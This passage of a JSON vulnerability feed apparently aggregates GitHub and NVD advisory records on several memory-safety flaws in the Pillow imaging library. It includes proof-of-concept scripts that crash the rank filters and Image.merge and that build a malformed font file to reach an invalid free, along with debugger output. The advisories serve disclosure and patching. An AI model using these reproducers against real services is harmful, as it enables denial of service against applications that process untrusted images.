produce with ordinary calls, for example a crop box whose left and right edges (or top and bottom edges) are equal, or the second page of a crafted multi-page image file. An attacker who can supply crop coordinates or an uploaded file to an application that runs one of these filters can kill its worker process. The effect is a crash only, with no memory disclosure or corruption.","detail":"```\n============================================================================\nNULL dereference in ImagingExpand via rank filters on zero-size images\nLocation: src/libImaging/Filter.c:79 in ImagingExpand()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nApplying Pillow's median, minimum, maximum or rank filter to an image with zero width or zero height crashes the whole Python process instead of raising an error. Empty images like this are easy to produce with ordinary calls, for example a crop box whose left and right edges (or top and bottom edges) are equal, or the second page of a crafted multi-page image file. An attacker who can supply crop coordinates or an uploaded file to an application that runs one of these filters can kill its worker process. The effect is a crash only, with no memory disclosure or corruption.\n\nThe fault is in `ImagingExpand()` in `src/libImaging/Filter.c`. This is the edge-padding step that `RankFilter.filter()` always runs through the core `expand()` method, so `MedianFilter`, `MinFilter` and `MaxFilter` go through it too. It fills the margin by copying the input's edge pixels, reading `imIn->image[y][0]` and rows `0` / `ysize-1`, and never checks that the input has any pixels. For an empty image, `ImagingAllocateArray` leaves the line pointers NULL, so the first read dereferences NULL and the process dies with SIGSEGV, in every mode.\n\nZero-size images reach this point through public API alone:\n\n- `Image.crop()`, `ImageOps.crop()` and `Image.new()`;\n- a multi-page TIFF opened by path whose second IFD declares `ImageLength = 0`, on which `seek(1)` and `load()` succeed.\n\nEvery other `ImageFilter` returns an empty image for the same inputs. The zero-height case has crashed since the original PIL import, and the zero-width case since Pillow 4.3.0. This is separate from the `margin == 0` fix in #9755: the path is the same, but here the degenerate value is the image size rather than the kernel size. It has the same shape as the zero-dimension `ImagingOffset` crash fixed under GHSA-f87v-9578-p47w.\n\nThe attached reproducer shows a one-pixel-wide control crop filtering normally, while four empty crops passed through the rank filters are each killed by SIGSEGV. A patch that returns early in `ImagingExpand` for empty input is included.\n\n## Details\n\n`ImagingExpand()` (`src/libImaging/Filter.c`), the edge-padding helper that `ImageFilter.RankFilter` runs before the actual rank filter, reads the first pixel of each input line without checking that the input has any pixels. For an image with width 0 or height 0 the line pointers are NULL, so `Image.filter()` with `MedianFilter`, `MinFilter`, `MaxFilter` or `RankFilter` kills the interpreter with SIGSEGV instead of returning or raising:\n\n```python\nfrom PIL import Image, ImageFilter\nim = Image.new(\"L\", (10, 10)).crop((3, 0, 3, 10)) # size (0, 10); crop() accepts left == right\nim.filter(ImageFilter.MedianFilter(3)) # SIGSEGV\n```\n\nUnder gdb on the stock build the fault is at `ImagingExpand (imIn=…, margin=1) at src/libImaging/Filter.c:105` (the `EXPAND(UINT8, image8)` expansion), called from `_expand_image` at `src/_imaging.c:1151`, with `imIn->xsize = 0` and `imIn->image[0] = 0x0`. The same happens for every mode the rank filters accept (`L`, `RGB`, `RGBA`, `I`, `F`), and the core `expand(m)` method with `m >= 1` crashes the same way in any mode, including `P`. The same input through `BoxBlur`, `GaussianBlur`, `Kernel`, `ModeFilter` and `UnsharpMask` returns a `(0, 10)` image; a `(1, 10)` crop through `MedianFilter` also returns normally.\n\nThe unchecked edge reads date from the PIL import (`9a640e315`, 2010, so every Pillow release): the zero-height case has crashed since then, and the zero-width case since `fd907fbdc` (\"Fix 0-width and 0-height images other way\", Pillow 4.3.0), which stopped backing zero-width images with a dummy block and left their row pointers NULL. It is adjacent to the `margin == 0` divide-by-zero fix in #9755 — same `expand()` → `ImagingExpand()` path, but the unhandled degenerate value here is the image size rather than the kernel size.\n\nThe path:\n\n```python\n# src/PIL/ImageFilter.py:111-116 RankFilter.filter (MedianFilter/MinFilter/MaxFilter subclass it)\n image = image.expand(self.size // 2)\n return image.rankfilter(self.size, self.rank)\n```\n\n`expand(m)` with `m > 0` is `ImagingExpand(self->image, m)` (`src/_imaging.c:1142-1151`). It validates only `margin`, allocates an output of `(xsize+2*margin) × (ysize+2*margin)` — which is non-empty, so the allocation succeeds — and then fills the margin by replicating edge pixels of the input:\n\n```c\n// src/libImaging/Filter.c:70-101\n imOut =\n ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin);\n …\n#define EXPAND_LINE(type, image, yin, yout) \\\n { \\\n for (x = 0; x image[yout][x] = imIn->image[yin][0]; \\ // line 79\n } \\\n … \\\n for (x = 0; x image[yout][margin + imIn->xsize + x] = \\\n imIn->image[yin][imIn->xsize - 1]; \\ // [-1] when xsize == 0\n } \\\n }\n\n#define EXPAND(type, image) \\\n { \\\n for (y = 0; y ysize - 1, margin + imIn->ysize + y); \\ // line -1 when ysize == 0\n } \\\n }\n```\n\nWhy the line pointers are NULL: `ImagingNewPrologueSubtype` callocs the `im->image` pointer array (`src/libImaging/Storage.c:216`, at least one entry), and `ImagingAllocateArray` returns before assigning any of them for an empty image:\n\n```c\n// src/libImaging/Storage.c:423-426\n /* 0-width or 0-height image. No need to do anything */\n if (!im->linesize || !im->ysize) {\n return im;\n }\n```\n\nSo with `xsize == 0` every `imIn->image[y]` is NULL and `imIn->image[yin][0]` faults; with `ysize == 0` the top-margin pass reads `imIn->image[0]` (the single calloc'd NULL slot) and faults the same way, and the bottom-margin pass would index `imIn->image[-1]`. `ImagingRankFilter` is never reached.\n\nZero-size images are ordinary objects in Pillow and arrive at `filter()` through public API only:\n\nAffected package ranges reported by GitHub:\nPillow: <= 12.3.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T20:32:37.000Z","updatedAt":"2026-10-21T20:32:39.000Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-27h8-gf7j-v5hc","asOf":"2026-10-21T20:32:39.000Z"},"epss":{"probability":0.005,"percentile":0.42548,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112392&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-27h8-gf7j-v5hc","url":"https://github.com/advisories/GHSA-27h8-gf7j-v5hc","type":"primary","publishedAt":"2026-10-21T20:32:37.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-27h8-gf7j-v5hc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-27h8-gf7j-v5hc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-27h8-gf7j-v5hc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-27h8-gf7j-v5hc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-27h8-gf7j-v5hc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-27h8-gf7j-v5hc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-27h8-gf7j-v5hc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-27h8-gf7j-v5hc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-27h8-gf7j-v5hc, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-112392","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112392","type":"primary","publishedAt":"2026-10-19T22:17:06.587Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112392&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112392, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112405","cveId":"CVE-2026-112405","aliases":["GHSA-cp9v-662q-vvx9"],"kind":"vulnerability","title":"Pillow: NULL pointer dereference in Image.merge via an unvalidated band 0","summary":"- `src/PIL/Image.py:3795` iterates `for band in bands[1:]` and checks mode and size only for those.\n\nFor an `I` or `F` image the 8-bit plane `image8` is NULL (only `image32` is set). `ImagingMerge` dereferences `bands[0]->image8[y]` for the multi-band output modes:","detail":"### Summary\n`Image.merge()` checks the mode of every input band except band 0. If band 0 is a single-band `I` or `F` image, the native merge routine reads a pixel pointer that is NULL for those modes and the process crashes. The IPTC plugin reaches this from a plain `Image.open()` followed by a load, and IPTC has no magic-byte prefilter, so a crafted file with no recognizable header can drive it.\n\n### Details\nThe validation loop skips band 0:\n\n- `src/PIL/Image.py:3795` iterates `for band in bands[1:]` and checks mode and size only for those.\n\nFor an `I` or `F` image the 8-bit plane `image8` is NULL (only `image32` is set). `ImagingMerge` dereferences `bands[0]->image8[y]` for the multi-band output modes:\n\n- `src/libImaging/Bands.c:302`, `:311`, `:321`\n\nThe IPTC loader builds the band list from an attacker-typed sub-image and passes it to merge with the sub-image at index 0:\n\n- `src/PIL/IptcImagePlugin.py:156-160`\n- `src/PIL/IptcImagePlugin.py:169` registers the opener with no accept function.\n\n### PoC\n```python\nfrom PIL import Image\n\n# Band 0 is a single-band \"I\" image: its image8 plane is NULL. merge() validates only\n# bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0.\nband0 = Image.new(\"I\", (4, 4))\nImage.merge(\"RGB\", [band0, Image.new(\"L\", (4, 4)), Image.new(\"L\", (4, 4))])\n```\n\nRun it:\n```\n$ python 02_poc.py\nSegmentation fault (core dumped)\n```\n\nObserved on a source build of commit `3e2ab96`.\n\nUnder AddressSanitizer:\n```\n==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000\n #0 ImagingMerge src/libImaging/Bands.c:311\n #1 _merge src/_imaging.c:2492\nSUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge\n```\nThe null address confirms the dereference of the missing `image8` plane for band 0.\n\n### Impact\nNULL pointer dereference in a C extension. A crafted file opened and loaded through the IPTC path crashes the worker process. This is a hard crash, not a Python exception an application can catch.\n\nAffected package ranges reported by GitHub:\npillow: >= 12.0.0, < 13.0.0","action":"GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T20:30:25.000Z","updatedAt":"2026-10-21T20:30:26.000Z","regions":["Global"],"vendor":null,"product":"pillow","stacks":["Python packages (PyPI)","pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-cp9v-662q-vvx9","asOf":"2026-10-21T20:30:26.000Z"},"epss":{"probability":0.00417,"percentile":0.35772,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112405&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-cp9v-662q-vvx9","url":"https://github.com/advisories/GHSA-cp9v-662q-vvx9","type":"primary","publishedAt":"2026-10-21T20:30:25.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-cp9v-662q-vvx9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-cp9v-662q-vvx9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-cp9v-662q-vvx9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-cp9v-662q-vvx9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-cp9v-662q-vvx9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-cp9v-662q-vvx9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-cp9v-662q-vvx9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-cp9v-662q-vvx9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-cp9v-662q-vvx9, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-112405","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112405","type":"primary","publishedAt":"2026-10-19T22:17:08.027Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112405&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112405, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112893","cveId":"CVE-2026-112893","aliases":["GHSA-j4m9-6w36-pw47"],"kind":"vulnerability","title":"Pillow: Invalid free in FreeType glyph rendering when a stroker is active","summary":"- `src/_imagingft.c:848`\n\nThe first measurement loop can jump to `glyph_error` before `glyph` is ever assigned:","detail":"### Summary\nWhen text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.\n\n### Details\n`glyph` is declared without a NULL initializer:\n\n- `src/_imagingft.c:848`\n\nThe first measurement loop can jump to `glyph_error` before `glyph` is ever assigned:\n\n- `src/_imagingft.c:1010-1013`\n\nIn the render loop the glyph is freed at the end of each iteration and not set back to NULL:\n\n- `src/_imagingft.c:1242`\n\nThe cleanup frees it whenever a stroker exists:\n\n- `src/_imagingft.c:1253-1256`\n\n`ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable.\n\n### PoC\nThis needs `fontTools` and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph \"A\" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens.\n\n```python\nimport struct\nfrom fontTools.ttLib import TTFont\nfrom PIL import Image, ImageFont, ImageDraw\n\nSRC = \"Tests/fonts/FreeMono.ttf\" # any TTF works as a base\ntt = TTFont(SRC)\ngid = tt.getGlyphID(tt.getBestCmap()[ord(\"A\")])\nloca_long = tt[\"head\"].indexToLocFormat\ntt.close()\n\nraw = bytearray(open(SRC, \"rb\").read())\nnt = struct.unpack(\">H\", raw[4:6])[0]\ntbl = {}\nfor i in range(nt):\n rec = 12 + i * 16\n tag = bytes(raw[rec:rec+4]).decode(\"latin-1\")\n off, length = struct.unpack(\">II\", raw[rec+8:rec+16])\n tbl[tag] = (off, length)\nglyf_off = tbl[\"glyf\"][0]; loca_off = tbl[\"loca\"][0]\nif loca_long:\n o0 = struct.unpack_from(\">I\", raw, loca_off + 4*gid)[0]\nelse:\n o0 = struct.unpack_from(\">H\", raw, loca_off + 2*gid)[0] * 2\nstruct.pack_into(\">h\", raw, glyf_off + o0, 5000) # numberOfContours = 5000\nopen(\"evil.ttf\", \"wb\").write(raw)\n\nf = ImageFont.truetype(\"evil.ttf\", 20) # face opens\nd = ImageDraw.Draw(Image.new(\"RGB\", (64, 64)))\nd.text((0, 0), \"A\", font=f, stroke_width=2) # load error -> FT_Done_Glyph on bad pointer\n```\n\nResult on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`).\n\n### Impact\nApplications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each `FT_Done_Glyph`.\n\nAffected package ranges reported by GitHub:\npillow: >= 10.0.0, < 13.0.0","action":"GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T20:06:34.000Z","updatedAt":"2026-10-21T20:06:37.000Z","regions":["Global"],"vendor":null,"product":"pillow","stacks":["Python packages (PyPI)","pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-j4m9-6w36-pw47","asOf":"2026-10-21T20:06:37.000Z"},"epss":{"probability":0.00386,"percentile":0.32362,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112893&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-j4m9-6w36-pw47","url":"https://github.com/advisories/GHSA-j4m9-6w36-pw47","type":"primary","publishedAt":"2026-10-21T20:06:34.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-j4m9-6w36-pw47, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-j4m9-6w36-pw47, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-j4m9-6w36-pw47, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-j4m9-6w36-pw47, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-j4m9-6w36-pw47, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-j4m9-6w36-pw47, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-j4m9-6w36-pw47, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-j4m9-6w36-pw47, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-j4m9-6w36-pw47, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-112893","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112893","type":"primary","publishedAt":"2026-10-19T22:17:09.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112893&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112893, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112402","cveId":"CVE-2026-112402","aliases":["GHSA-7mwm-ghpf-9vrm"],"kind":"vulnerability","title":"Pillow: Double free in ImagingScaleAffine on calloc failure via Image.transform","summary":"```\n============================================================================\nDouble free in ImagingScaleAffine on calloc failure via Image.transform\nLocation: src/libImaging/Geometry.c:866 in ImagingScaleAffine()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nThere is a double free in Pillow's `Image.transform()` that crashes the process when an oversized transform runs out of memory. Instead of only raising `MemoryError`, Pillow frees the output image's memory once while handling the error and then again when the Python object is cleaned up. Anyone who can choose the output size of `Image.transform()` can trigger it, but only on a worker with a memory limit (a common hardening for image workers) or a 32-bit process. The result is a crash of the worker, plus corruption of its heap that has not been shown to be controllable.","detail":"```\n============================================================================\nDouble free in ImagingScaleAffine on calloc failure via Image.transform\nLocation: src/libImaging/Geometry.c:866 in ImagingScaleAffine()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nThere is a double free in Pillow's `Image.transform()` that crashes the process when an oversized transform runs out of memory. Instead of only raising 